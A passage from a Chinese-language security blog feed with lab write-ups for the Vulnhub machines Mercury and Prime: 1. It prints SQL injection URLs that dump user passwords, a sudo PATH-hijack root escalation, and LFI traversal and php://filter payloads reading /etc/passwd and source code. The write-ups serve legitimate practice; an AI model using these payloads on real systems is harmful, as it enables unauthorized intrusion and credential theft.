	The current path, `admin`, didn&apos;t match any of these.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;顺着路由去看 &lt;code&gt;mercuryfacts/&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;http://192.168.200.128:8080/mercuryfacts/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Mercury/image-20260625161342791.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按 id 访问具体的 fact，比如 &lt;code&gt;mercuryfacts/1/&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Fact id: 1. ((&apos;Mercury does not have any moons or rings.&apos;,),)
Fact id: 2. ((&apos;Mercury is the smallest planet.&apos;,),)
Fact id: 3. ((&apos;Mercury is the closest planet to the Sun.&apos;,),)
Fact id: 4. ((&apos;Your weight on Mercury would be 38% of your weight on Earth.&apos;,),)
Fact id: 5. ((&apos;A day on the surface of Mercury lasts 176 Earth days.&apos;,),)
Fact id: 6. ((&apos;A year on Mercury takes 88 Earth days.&apos;,),)
Fact id: 7. ((&quot;It&apos;s not known who discovered Mercury.&quot;,),)
Fact id: 8. ((&apos;A year on Mercury is just 88 days long.&apos;,),)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再看 &lt;code&gt;mercuryfacts/todo&lt;/code&gt;，里面是开发者留的待办：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Still todo:

- Add CSS.
- Implement authentication (using users table)
- Use models in django instead of direct mysql call
- All the other stuff, so much!!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里提到 &lt;code&gt;Use models in django instead of direct mysql call&lt;/code&gt;，说明现在还是直接拼接 mysql 查询，没走 ORM——结合前面 id 参数会带进查询，这个点值得测一下注入。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;2.权限立足&lt;/h1&gt;
&lt;p&gt;先用闭合加恒假条件测一下 &lt;code&gt;mercuryfacts/1/&lt;/code&gt; 这个 id 参数：&lt;/p&gt;
&lt;p&gt;http://192.168.200.128:8080/mercuryfacts/1&apos;%20and%201%3D2%20--%20-/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Mercury/image-20260626091903052.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确认存在注入后，开始用 union 联合查询逐步爆库爆表爆字段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.128:8080/mercuryfacts/1 union select database() -- +
mercury


http://192.168.200.128:8080/mercuryfacts/1 union select group_concat(table_name) from information_schema.tables
where table_schema=database() -- +

facts,users


http://192.168.200.128:8080/mercuryfacts/1 union select group_concat(column_name) from information_schema.columns
where table_schema=database() and table_name=&apos;users&apos; -- +

(&apos;id,password,username&apos;,))


http://192.168.200.128:8080/mercuryfacts/1 union select group_concat(id,&apos;-&apos;,password,&apos;-&apos;,username) from users -- +

(&apos;1-johnny1987-john,2-lovemykids111-laura,3-lovemybeer111-sam,4-mercuryisthesizeof0.056Earths-webmaster&apos;,))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到了四组凭据，重点关注最后一组 &lt;code&gt;webmaster&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mercuryisthesizeof0.056Earths / webmaster
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Mercury/image-20260627214518459.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3.提权&lt;/h1&gt;
&lt;h2&gt;3.1 信息收集&lt;/h2&gt;
&lt;p&gt;用 webmaster 登录后先过一遍常见基础信息。&lt;/p&gt;
&lt;p&gt;先看当前用户的 sudo 权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;webmaster@mercury:~$ sudo -l
[sudo] password for webmaster:
Sorry, user webmaster may not run sudo on mercury.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再翻计划任务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;webmaster@mercury:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don&apos;t have to run the `crontab&apos;
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再找 SUID 文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;webmaster@mercury:~$ find / -perm -u=s -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sudo 没权限、crontab 没可利用项、SUID 也没找到东西。&lt;/p&gt;
&lt;h2&gt;3.2 拿 user flag 与翻找凭据&lt;/h2&gt;
&lt;p&gt;先把 user flag 拿了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;webmaster@mercury:~$ pwd
/home/webmaster

webmaster@mercury:~$ ll
total 36
drwx------ 4 webmaster webmaster 4096 Sep  2  2020 ./
drwxr-xr-x 5 root      root      4096 Aug 28  2020 ../
lrwxrwxrwx 1 webmaster webmaster    9 Sep  1  2020 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 webmaster webmaster  220 Aug 27  2020 .bash_logout
-rw-r--r-- 1 webmaster webmaster 3771 Aug 27  2020 .bashrc
drwx------ 2 webmaster webmaster 4096 Aug 27  2020 .cache/
drwxrwxr-x 5 webmaster webmaster 4096 Aug 28  2020 mercury_proj/
-rw-r--r-- 1 webmaster webmaster  807 Aug 27  2020 .profile
-rw-rw-r-- 1 webmaster webmaster   75 Sep  1  2020 .selected_editor
-rw------- 1 webmaster webmaster   45 Sep  1  2020 user_flag.txt

webmaster@mercury:~$ cat user_flag.txt
[user_flag_8339915c9a454657bd60ee58776f4ccd]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Mercury/image-20260627214848601.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续翻家目录里的 &lt;code&gt;mercury_proj&lt;/code&gt;，注意到一个 &lt;code&gt;notes.txt&lt;/code&gt;，把它读出来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;webmaster@mercury:~/mercury_proj$ ll
total 28
drwxrwxr-x 5 webmaster webmaster 4096 Aug 28  2020 ./
drwx------ 4 webmaster webmaster 4096 Sep  2  2020 ../
-rw-r--r-- 1 webmaster webmaster    0 Aug 27  2020 db.sqlite3
-rwxr-xr-x 1 webmaster webmaster  668 Aug 27  2020 manage.py*
drwxrwxr-x 6 webmaster webmaster 4096 Sep  1  2020 mercury_facts/
drwxrwxr-x 4 webmaster webmaster 4096 Aug 28  2020 mercury_index/
drwxrwxr-x 3 webmaster webmaster 4096 Aug 28  2020 mercury_proj/
-rw------- 1 webmaster webmaster  196 Aug 28  2020 notes.txt

webmaster@mercury:~/mercury_proj$ cat notes.txt
Project accounts (both restricted):
webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK
linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;里面是两个账户的凭据，密码是 base64 编码的，解一下 &lt;code&gt;linuxmaster&lt;/code&gt; 那条：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==&apos; | base64 -d
mercurymeandiameteris4880km
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3.3 横向移动到 linuxmaster&lt;/h2&gt;
&lt;p&gt;横向移动到 &lt;code&gt;linuxmaster&lt;/code&gt;，再看一下它的 sudo 权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;webmaster@mercury:~/mercury_proj$ su linuxmaster
Password:

linuxmaster@mercury:/home/webmaster/mercury_proj$ sudo -l
[sudo] password for linuxmaster:
Matching Defaults entries for linuxmaster on mercury:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User linuxmaster may run the following commands on mercury:
    (root : root) SETENV: /usr/bin/check_syslog.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里关键点是 &lt;code&gt;SETENV&lt;/code&gt;——允许保留环境变量执行 &lt;code&gt;/usr/bin/check_syslog.sh&lt;/code&gt;。脚本里如果用了相对路径调命令（比如 &lt;code&gt;tail&lt;/code&gt;），就能通过 PATH 劫持把自己的恶意 &lt;code&gt;tail&lt;/code&gt; 顶上去，用 root 身份执行。&lt;/p&gt;
&lt;h2&gt;3.4 环境变量劫持提权&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;/tmp&lt;/code&gt; 下伪造一个 &lt;code&gt;tail&lt;/code&gt;，让它直接拉起一个 bash，然后保留 PATH 调用目标脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /tmp
cat &amp;gt; tail &amp;lt;&amp;lt; &apos;EOF&apos;
#!/bin/bash
/bin/bash
EOF
chmod +x tail
sudo PATH=/tmp:$PATH /usr/bin/check_syslog.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Mercury/image-20260627220226236.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿到 root，读取 root flag：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Congratulations on completing Mercury!!!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_69426d9fda579afbffd9c2d47ca31d90]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Mercury/image-20260627220253838.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;4.总结&lt;/h1&gt;
&lt;p&gt;对比前一台靶机难度真的少了很多，唯一的不足就是对 Python 搭建的 Web 环境不是很熟悉，但是在搜索和 AI 的帮助下，马上就找到了重点，使用 SQL 注入获取到了凭证。后续的提权也非常简单没绕什么弯子，通过 Web 泄露的凭证登入了一个账户，权限横移，环境变量劫持轻松拿下。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;5.补充&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Django 是什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Django 是一个用 Python 写的 Web 框架——就是用来快速搭建网站后端的工具。你之前接触过 WordPress（PHP 写的），Django 是同一个生态位的东西，只不过用 Python。Nmap 扫出的 &lt;code&gt;WSGIServer 0.2 (Python 3.8.2)&lt;/code&gt; 就是它的运行特征：Python 写的 Web 服务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;URLconf / URL 模式是什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Django 网站的核心机制：开发者预先定义一张&quot;路由表&quot;，规定哪些网址路径对应哪些功能。你访问 &lt;code&gt;/admin&lt;/code&gt; 时，Django 拿这个路径去和路由表逐条比对，没匹配上，就报 404。&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub Prime 1 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/07/01/prime1/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/07/01/prime1/</guid><description>Prime: 1 是面向 OSCP 备考人群的解谜式靶机，涉及 wfuzz 参数发现、LFI 读取敏感文件、WordPress 主题编辑器写入 Webshell 以及内核提权。</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;Prime: 1 是 Suraj Pandey 在 2019 年 9 月 1 日发布的 Prime 系列第一台机器，面向正在备考 OSCP 或 OSCP-Exam 的人练手。整台机器的玩法基本就是一关一关解谜：每拿到一个线索都会被提示&quot;去找下一个东西&quot;，逼着你不停地手动 fuzz 和枚举，而不是直接给一条打穿的路。前期信息收集和站点突破阶段难度中等偏易，一旦拿到落脚点之后提权阶段相对简单。&lt;/p&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;靶机名&lt;/td&gt;
&lt;td&gt;Prime: 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 IP&lt;/td&gt;
&lt;td&gt;192.168.200.128&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 URL&lt;/td&gt;
&lt;td&gt;https://www.vulnhub.com/entry/prime-1,358/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;下载（镜像）&lt;/td&gt;
&lt;td&gt;https://download.vulnhub.com/prime/Prime_Series_Level-1.rar&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;难度等级&lt;/td&gt;
&lt;td&gt;入门到中级&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;目标&lt;/td&gt;
&lt;td&gt;获取 user.txt，提权到 root，获取root.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;涉及工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;nmap（端口扫描 / 服务识别 / 漏洞脚本 / UDP 扫描）&lt;/li&gt;
&lt;li&gt;dirsearch / gobuster（目录枚举）&lt;/li&gt;
&lt;li&gt;curl&lt;/li&gt;
&lt;li&gt;wfuzz（参数 fuzz）&lt;/li&gt;
&lt;li&gt;WordPress 后台主题编辑器（写入反弹 shell）&lt;/li&gt;
&lt;li&gt;searchsploit&lt;/li&gt;
&lt;li&gt;gcc（编译内核提权 EXP）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;思维导图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/Prime_1_%E6%80%9D%E7%BB%B4%E5%AF%BC%E5%9B%BE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;1.信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT --min-rate 10000 -p- 192.168.200.128 -oA ports
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260617193110070.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -sV -sC -O -p22,80 192.168.200.128 -oA details
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260617193327146.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/prime1/nmap]
└─$ nmap --script=vuln -p22,80 192.168.200.128 -oA vuln
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-17 07:33 -0400
Nmap scan report for 192.168.200.128
Host is up (0.00023s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-stored-xss: Couldn&apos;t find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn&apos;t find any DOM based XSS.
|_http-csrf: Couldn&apos;t find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server&apos;s resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum: 
|   /wordpress/: Blog
|_  /wordpress/wp-login.php: Wordpress login page.
MAC Address: 00:0C:29:F4:54:DD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 321.65 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;漏洞脚本没扫出能直接用的点，主要价值是确认了 &lt;code&gt;/wordpress/&lt;/code&gt; 这个路径的存在。&lt;/p&gt;
&lt;h3&gt;UDP 扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/prime1/nmap]
└─$ nmap -sU --top-ports 20 192.168.200.128 -oA udp     
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-17 07:32 -0400
Nmap scan report for 192.168.200.128
Host is up (0.00019s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   closed        isakmp
514/udp   open|filtered syslog
520/udp   closed        route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  closed        nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:F4:54:DD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 9.59 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;UDP 前 20 个常见端口基本都是 open|filtered，没有明确开放的服务，没有进一步追的价值。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2 Web 探测&lt;/h2&gt;
&lt;h4&gt;目录枚举&lt;/h4&gt;
&lt;p&gt;目录枚举先用 dirsearch 快速扫了一遍，没有发现特别的东西，于是换大字典再扫一次。&lt;/p&gt;
&lt;p&gt;大字典枚举：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ gobuster dir -u http://192.168.200.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x tar,rar,txt,php,html,bak,zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260617194445839.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;index.php            (Status: 200) [Size: 136]
image.php            (Status: 200) [Size: 147]
wordpress            (Status: 301) [Size: 322] [--&amp;gt; http://192.168.200.128/wordpress/]
dev                  (Status: 200) [Size: 131]
javascript           (Status: 301) [Size: 323] [--&amp;gt; http://192.168.200.128/javascript/]
secret.txt           (Status: 200) [Size: 412]
server-status        (Status: 403) [Size: 303]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重点是这个文件给了些提示，这个叫 secret 的文件引起了我的注意，但有可能是兔子洞。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ curl http://192.168.200.128/secret.txt  
Looks like you have got some secrets.

Ok I just want to do some help to you. 

Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck 
Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
 

//see the location.txt and you will get your next move//
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;顺着提示访问这个仓库：https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260624185409830.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个页面给的是一份用 wfuzz 做 Web 参数发现（parameter discovery）的用法说明：核心思路是固定一个页面，把请求里的参数名替换成字典里的 &lt;code&gt;FUZZ&lt;/code&gt; 关键字逐个轮询，再根据响应的状态码、行数、字数、字符数把&quot;无效参数&quot;批量过滤掉，剩下的就是页面真正接受的参数。结合 secret.txt 里&quot;对每个 php 页面再 fuzz 一下&quot;的提示，可以确定作者是想让我用这套方法去爆破 index.php / image.php 的有效参数。&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;FUZZ-GET 参数名爆破&lt;/h4&gt;
&lt;p&gt;照着仓库里的用法开始对 index.php 做参数 fuzz。先按说明里给的原始命令试了一下，结果整页都返回 200，正如笔记里说的——没有任何过滤条件时全部命中，没法区分有效无效：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://website.com/secret.php?FUZZ=something
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;换成打实际靶机的命令并加上 &lt;code&gt;--hw 500&lt;/code&gt; 想过滤掉一批，但 500 这个阈值没卡准，结果还是没干净过滤，不过此时返回内容已经缩小，可以先用目测法看出规律：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://192.168.200.128/index.php?FUZZ=something
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260624185923951.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于无效参数回显的 word 数都是 12，把 &lt;code&gt;--hw&lt;/code&gt; 设置为 12，把这批多余内容全部隐藏掉，最终就过滤出了真正有用的那条参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 12 http://192.168.200.128/index.php?FUZZ=something
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260622193552640.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;结果指向 &lt;code&gt;file&lt;/code&gt; 这个参数（关于 Lines / Word / Chars 三个值具体怎么算、为什么挑 12 做阈值，我当时卡了一下，详细排查记录放在文末第 5 节补充里）。拿到参数名后，先用一个随便的值测一下 &lt;code&gt;index.php?file=&lt;/code&gt; 的回显内容：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260625084649838.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Do something better you are digging wrong file
做点更好的，你找错文件了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;回显说&quot;做点更好的，你找错文件了&quot;，说明参数对了但读的文件不对。我想起前面 secret.txt 末尾那句一直没用上的提示————&lt;code&gt;//see the location.txt and you will get your next move//&lt;/code&gt;，于是把要读的文件换成 location.txt：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260625084719917.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;回显里给出了两条信息：一是确认 &lt;code&gt;file&lt;/code&gt; 就是正确参数，二是提示我去别的 php 页面上用 &lt;code&gt;secrettier360&lt;/code&gt; 这个参数继续挖。之前目录扫描时除了 index.php 还扫到过一个 image.php，可以去另外一个页面上尝试一下。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260625084838261.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;页面回显 &quot;finaly you got the right parameter&quot;，说明 &lt;code&gt;secrettier360&lt;/code&gt; 就是 image.php 接受的参数。既然作者一路提示都在引导往文件方向走，我猜这个参数背后多半是个文件包含点，于是直接拿它做路径穿越去读 /etc/passwd 验证：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/prime1/web]
└─$ curl http://192.168.200.128/image.php?secrettier360=../../../../../../../etc/passwd
&amp;lt;html&amp;gt;
&amp;lt;title&amp;gt;HacknPentest&amp;lt;/title&amp;gt;
&amp;lt;body&amp;gt;
 &amp;lt;img src=&apos;hacknpentest.png&apos; alt=&apos;hnp security&apos; width=&quot;1300&quot; height=&quot;595&quot; /&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
finaly you got the right parameter&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
victor:x:1000:1000:victor,,,:/home/victor:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里有一个注意点，在 /etc/passwd 的 saket 这一行中，注释字段不是常规的用户描述，而是一句明显的提示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;saket:x:1001:1001:find password.txt file in my directory:/home/saket:
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;find password.txt file in my directory&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;同时也确认了系统里值得关注的几个用户：root、victor（有 /bin/bash）、saket。先把这个提示记在心里。&lt;/p&gt;
&lt;p&gt;在直接去读 password.txt 之前，我想先搞清楚这个参数到底是怎么处理包含的、有没有进一步利用空间，于是用 php://filter 伪协议把 image.php 自身的源码以 base64 编码读出来看看：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.128/image.php?secrettier360=php://filter/convert.base64-encode/resource=image.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到 base64 后解码：&lt;/p&gt;
